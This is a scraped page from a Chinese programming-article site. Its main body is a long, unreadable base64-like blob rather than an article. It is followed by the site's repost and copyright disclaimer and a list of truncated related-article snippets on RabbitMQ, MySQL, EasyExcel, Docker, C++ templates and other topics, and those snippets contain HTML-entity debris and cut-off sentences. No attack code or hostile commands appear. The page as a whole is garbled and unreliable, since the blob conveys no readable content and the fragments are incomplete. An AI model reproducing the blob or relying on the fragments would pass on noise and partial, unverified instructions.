bZ3ZpveCKsoBmyyQ9faSMMj4iNAvkBsz1THPC8uX/t5n5nWVFAEgMrpwNz/nMs0e1AwpXwKN3HT0s/jJxuAYgFUew6+1pcTmVqCCp9wa0mhKF6ES7ovX+FZIUiZt24SSYsAb50gdVQ9I2r/Syr/9E3NKfmOnTFtOhvZLQbpCiCmeTh0GbI60LHX+wVek+GZrq2ocooH0/SBA1EcGBbCbouXQA90vIvyNNeYBtqmNlPtZsGsXqWUc8GVSxDDu9P0QIB6MSi2f35uYvRn9ds+dEeuOGAWLbLaB+goTlgdAs8XlOnLyQ4X3X+BI9BmMvzbTWDpEhMRlr0HTCgpsB/Jbb+LAJ6wY1gF4KdbyYWWqf2hYZVt4KUkI6sNSXBRAhgtTrkrTm1sdLlNCfzsIDjHtr++zvS7VDVPPg7kgySCHDG53MvGZJdtim+mj5eHjZUsvby8VCLgL/qIOjxA6vAxLAaH89d9cf9sv2km9rHCz01GKZsyQh32D2j3YWfiWP/jmwrsBBsbNx8INqf70ex49xuX4eWJvl8pQIQygfAyvLTtWxtTrLwhssEW7ThUInRrTEITF4tSZobGAmmuzHcUObZTrv4Zm/Z96GfhPBjxtemhCHpZKZiMA/6Z9kJPtAvt548YNgkDyixF0n74+2YXFKRp72uI7eDIKtQaT6sULT22xgAdPRaLH8lRc/RlSGByszzSVjrfeyhWkcseWwduKW7Vp01n6SrFRV1WjPDVfPmQlJu3oqlkYLFG+EFL9JISUkPujnSxnZNrQTUP3Q/Hg7r8KIq1zDYEZHUjGJz3RmKpVe9neVtuoDw6tMeuwFHp/gYe16dPybiCufRV0qEo9rKETgPcNEImMnbu2WA5L0aj9jnKm+ri2tohSdT4BGArOtR6qSr43e70s5xBMulDm6mfM+ks/Pu0sdwLRjen6eCc9NR1vJP46KTxydz9QtBrDQlXQGT6G0VLy3ICf+Ufj4Lnq6fQjKXNat4KrTeBszdbSDX468wDecxMvZj+gE/zDyvGCVH+SwhdTHYdIR+h41OUhpG+1jJLvQyns6HiRKZcGEiyeMMwXgNGN2rQBwZQYmPdZWUVgoMcWBQx7dOJpBaEaDH8Wxelmj8udb9Vu2C93cvQ+a/DYq8E8fvjoB8e0kfyUqk65b9ccLe+ogB5wnx8ClKuNNJmWGJozCWAm8a75vDnm7IFW+lvWnJQVw3J/ihuZLAYhBhDZn/apsEwYACalG7SA29S+tlPQw9rD+IzzWuCG97ivtimbzN4bc1sH0CbhPPGJIBkgs/H5Sq1aDulJUZuY63/Qj727X3OLkTJ6KbUdZTe4cZhRB2wLJjulmbg3bDAnRX1duDJfVmHdV0cdjPScQ3SK/wt+ZJxop3znckHxIPIGSQfaHFO92LIJd+JN3ykMb+G4DAtB9/Z7+fSeQloyGdt/T8/KJI7UHVlSYbxDccleTiSWkYJ7rWuC1fEJZV9OzXFEnMJrGuncvP/LMUW+QCCipEBM3M4lXct6MmnZQm5DUF7O3iPTWD8MqZ0VeRNoK3Ktj7i/u95ZZ6BhgtkM/m17xhOMzZA64Re4FB0QanAK+94edcAi9ZggXjXLTuP6ZJSXpcdN0bDrhhoMWru6Rb1AD4BdiurQV12IFX7cGi8MRu1+QHEYJPfrYwTrjT03Pk89BeExkOFAf3Ur/b286MIaz/XINnhVXeUtMiHpO6akl13R8Vz5CMa/tjK0S/ajSFgalYwROM9ebTrr/UCsFR2SqQYL1+HwMy9puT5EnHv6S8MkoH+t+xLljVhBF7mI1jXTRsNi4FW3xyXmm6xaGfC6f3sbJ/wIQTzvLdjV3hNql/QwToszL5Q4iWkuwc8Rza0jfhrj1AMSQa1Wqdybp1tlMKSlsH2pYD4aWZdBK0+zdN3TtcZFWzz1qxU16EWYmxFJkJDgnrPPSfcrkahpAOjI0+wjNQ70PMvkCxqgp1IZWSpUFTE93rpR6pSc8r3SIQfKe31yzFCDiFs20Xfsv67S5BI/cru/PWKETaqsvjfilfQDNdLzVyfC2dp0fh+8RN3rmcAWeOYhhLri8TSWUszp2pBenmEzi1LrfX6VGEkzIbHRKk7oB/1s9A1bdO5nmr1vgMyzCKcNYkBQgC2QyEZtw8i3dx8l1Tb3ALMbznQqKLj0lUmUNIHEIAFuQ7npkNSOMlHMnzb1STU++P/tjOp8qC5lgmiTgcMoXRp4jE10CzVmF5TngvGq+5wncr/5RYnBEhrua3vmyvpuywx56F4F0gQsCK/+KJrZEwKtrElgc60xXlxkii1XZRVePpuELauvUlKINflYAJZXVZTqvHuD8mijE6Um8=

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/895154.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/895154.shtml
英文地址,請注明出處:http://en.pswp.cn/news/895154.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

RabbitMQ 消息順序性保證

方式一&#xff1a;Consumer設置exclusive 注意條件 作用于basic.consume不支持quorum queue 當同時有A、B兩個消費者調用basic.consume方法消費&#xff0c;并將exclusive設置為true時&#xff0c;第二個消費者會拋出異常&#xff1a; com.rabbitmq.client.AlreadyClosedEx…

SQL自學,mysql從入門到精通 --- 第 14天,主鍵、外鍵的使用

1.主鍵 PRIMARY KEY 主鍵的使用 字段值不允許重復&#xff0c;且不允許賦NULL值 創建主鍵 rootmysqldb 10:11: [d1]> CREATE TABLE t3(-> name varchar(10) PRIMARY KEY,-> age int,-> class varchar(8)-> ); Query OK, 0 rows affected (0.01 sec)rootmys…

DeepSeek深度思考:客戶端(Android/iOS)架構設計指南

目標讀者&#xff1a;中高級開發者、架構師 適用場景&#xff1a;大型復雜應用開發、跨團隊協作、長期維護迭代 一、架構設計核心原則 1.模塊化&#xff08;Modularization&#xff09; 橫向拆分&#xff1a;按功能邊界劃分&#xff08;如登錄、支付、消息模塊&#xff09;縱向…

【MQ】Spring3 中 RabbitMQ 的使用與常見場景

一、初識 MQ 傳統的單體架構&#xff0c;分布式架構的同步調用里&#xff0c;無論是方法調用&#xff0c;還是 OpenFeign 難免會有以下問題&#xff1a; 擴展性差&#xff08;高耦合&#xff0c;需要依賴對應的服務&#xff0c;同樣的事件&#xff0c;不斷有新需求&#xff0…

EasyExcel 導出合并層級單元格

EasyExcel 導出合并層級單元格 一、案例 案例一 1.相同訂單號單元格進行合并 合并結果 案例二 1.相同訂單號的單元格進行合并2.相同訂單號的總數和總金額進行合并 合并結果 案例三 1.相同訂單號的單元格進行合并2.相同訂單號的商品分類進行合并3.相同訂單號的總數和總金額…

cs106x-lecture3(Autumn 2017)

打卡cs106x(Autumn 2017)-lecture3 1、streamErrors Suppose an input file named streamErrors-data.txt contains the following text: Donald Knuth M 76 Stanford U. The code below attempts to read the data from the file, but each section has a bug. Correct th…

C++模板編程——typelist的實現

文章最后給出了匯總的代碼&#xff0c;可直接運行 1. typelist是什么 typelist是一種用來操作類型的容器。和我們所熟知的vector、list、deque類似&#xff0c;只不過typelist存儲的不是變量&#xff0c;而是類型。 typelist簡單來說就是一個類型容器&#xff0c;能夠提供一…

springboot 事務管理

在Spring Boot中&#xff0c;事務管理是通過Spring框架的事務管理模塊來實現的。Spring提供了聲明式事務管理和編程式事務管理兩種方式。通常&#xff0c;我們使用聲明式事務管理&#xff0c;因為它更簡潔且易于維護。 1. 聲明式事務管理 聲明式事務管理是通過注解來實現的。…

windows通過網絡向Ubuntu發送文件/目錄

由于最近要使用樹莓派進行一些代碼練習&#xff0c;但是好多東西都在windows里或虛擬機上&#xff0c;就想將文件傳輸到樹莓派上&#xff0c;但試了發現u盤不能簡單傳送&#xff0c;就在網絡上找到了通過windows 的scp命令傳送 前提是樹莓派先開啟ssh服務&#xff0c;且Window…

字節跳動后端一面

&#x1f4cd;1. Gzip壓縮技術詳解 Gzip是一種流行的無損數據壓縮格式&#xff0c;它使用DEFLATE算法來減少文件大小&#xff0c;廣泛應用于網絡傳輸和文件存儲中以提高效率。 &#x1f680; 使用場景&#xff1a; ? 網站優化&#xff1a;通過壓縮HTML、CSS、JavaScript文件來…

Leetcode 3448. Count Substrings Divisible By Last Digit

Leetcode 3448. Count Substrings Divisible By Last Digit 1. 解題思路2. 代碼實現 題目鏈接&#xff1a;3448. Count Substrings Divisible By Last Digit 1. 解題思路 這一題的話我們走的是一個累積數組的思路。 首先&#xff0c;我們使用一個cache數組記錄下任意段數字…

三維模擬-機械臂自翻車

機械仿真 前言效果圖后續 前言 最近在研究Unity機械仿真&#xff0c;用Unity實現其運動學仿真展示的功能&#xff0c;發現一個好用的插件“MGS-Machinery-master”&#xff0c;完美的解決了Unity關節定義缺少液壓缸伸縮關節功能&#xff0c;內置了多個場景&#xff0c;講真的&…

USB子系統學習(四)用戶態下使用libusb讀取鼠標數據

文章目錄 1、聲明2、HID協議2.1、描述符2.2、鼠標數據格式 3、應用程序4、編譯應用程序5、測試6、其它 1、聲明 本文是在學習韋東山《驅動大全》USB子系統時&#xff0c;為梳理知識點和自己回看而記錄&#xff0c;全部內容高度復制粘貼。 韋老師的《驅動大全》&#xff1a;商…

2月9日QT

優化登錄框&#xff1a; 當用戶點擊取消按鈕&#xff0c;彈出問題對話框&#xff0c;詢問是否要確定退出登錄&#xff0c;并提供兩個按鈕&#xff0c;yes|No&#xff0c;如果用戶點擊的Yes&#xff0c;則關閉對話框&#xff0c;如果用戶點擊的No&#xff0c;則繼續登錄 當用戶…

安卓路由與aop 以及 Router-api

安卓路由&#xff08;Android Router&#xff09;和AOP&#xff08;面向切面編程&#xff09;是兩個在Android開發中常用的概念。下面我將詳細講解這兩個概念及其在Android開發中的應用。 一、安卓路由 安卓路由主要用于在應用程序中管理不同組件之間的導航和通信。它可以簡化…

大模型賦能網絡安全整體應用流程概述

一、四個階段概述 安全大模型的應用大致可以分為四個階段: 階段一主要基于開源基礎模型訓練安全垂直領域的模型; 階段二主要基于階段一訓練出來的安全大模型開展推理優化、蒸餾等工序,從而打造出不同安全場景的專家模型,比如數據安全領域、安全運營領域、調用郵件識別領…

nexus部署及配置https訪問

1. 使用docker-compose部署nexus docker-compose-nexus.yml version: "3" services:nexus:container_name: my-nexusimage: sonatype/nexus3:3.67.1hostname: my-nexusnetwork_mode: hostports:- 8081:8081deploy:resources:limits:cpus: 4memory: 8192Mreservations…

史上最快 Python版本 Python 3.13 安裝教程

Python3.13安裝和配置 一、Python的下載 1. 網盤下載地址 (下載速度比較快&#xff0c;推薦&#xff09; Python3.13.0下載&#xff1a;Python3.13.0下載地址&#xff08;windows&#xff09;3.13.0下載地址&#xff08;windows&#xff09; 點擊下面的下載鏈接&#xff0c…

Docker從入門到精通- 容器化技術全解析

第一章&#xff1a;Docker 入門 一、什么是 Docker&#xff1f; Docker 就像一個超級厲害的 “打包神器”。它能幫咱們把應用程序和它運行所需要的東東都整整齊齊地打包到一起&#xff0c;形成一個獨立的小盒子&#xff0c;這個小盒子在 Docker 里叫容器。以前呢&#xff0c;…

ProcessingP5js數據可視化

折線圖繪制程序設計說明 可以讀取表格數據&#xff0c;并轉換成折線圖&#xff0c;條形圖和餅狀圖&#xff0c;并設計了銜接動畫效果 1. 功能概述 本程序使用 Processing 讀取 CSV 文件數據&#xff0c;并繪制帶有坐標軸和數據點的折線圖。橫坐標&#xff08;X 軸&#xff09…